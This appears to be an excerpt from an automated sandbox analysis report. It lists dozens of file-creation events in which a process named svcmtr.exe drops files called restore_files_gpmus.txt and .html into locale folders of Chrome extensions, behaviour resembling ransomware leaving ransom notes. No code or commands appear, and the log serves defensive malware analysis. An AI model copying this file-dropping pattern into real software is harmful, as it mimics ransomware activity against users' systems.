Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ar\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ar\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\bg\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\bg\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ca\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ca\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\cs\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\cs\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\da\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\da\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\de\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\de\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\el\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\el\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\en_GB\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\en_GB\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\en_US\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\en_US\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\es\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\es\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\es_419\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\es_419\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\et\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\et\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\fi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\fi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\fil\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\fil\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\fr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\fr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\he\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\he\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\hi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\hi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\hu\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\hu\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\id\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\id\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\it\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\it\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ja\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ja\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ko\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ko\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\lt\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\lt\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\lv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\lv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ms\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ms\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\nl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\nl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\no\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\no\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\pl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\pl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\pt_BR\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\pt_BR\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\pt_PT\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\pt_PT\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ro\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ro\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ru\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\ru\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\sv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\th\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\th\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\tr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\tr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\uk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\uk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\vi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\vi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\zh_CN\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\zh_CN\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\zh_TW\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\zh_TW\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_locales\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ar\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ar\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\bg\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\bg\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ca\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ca\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\cs\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\cs\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\da\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\da\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\de\restore_files_gpmus.txt	Jump to behavior
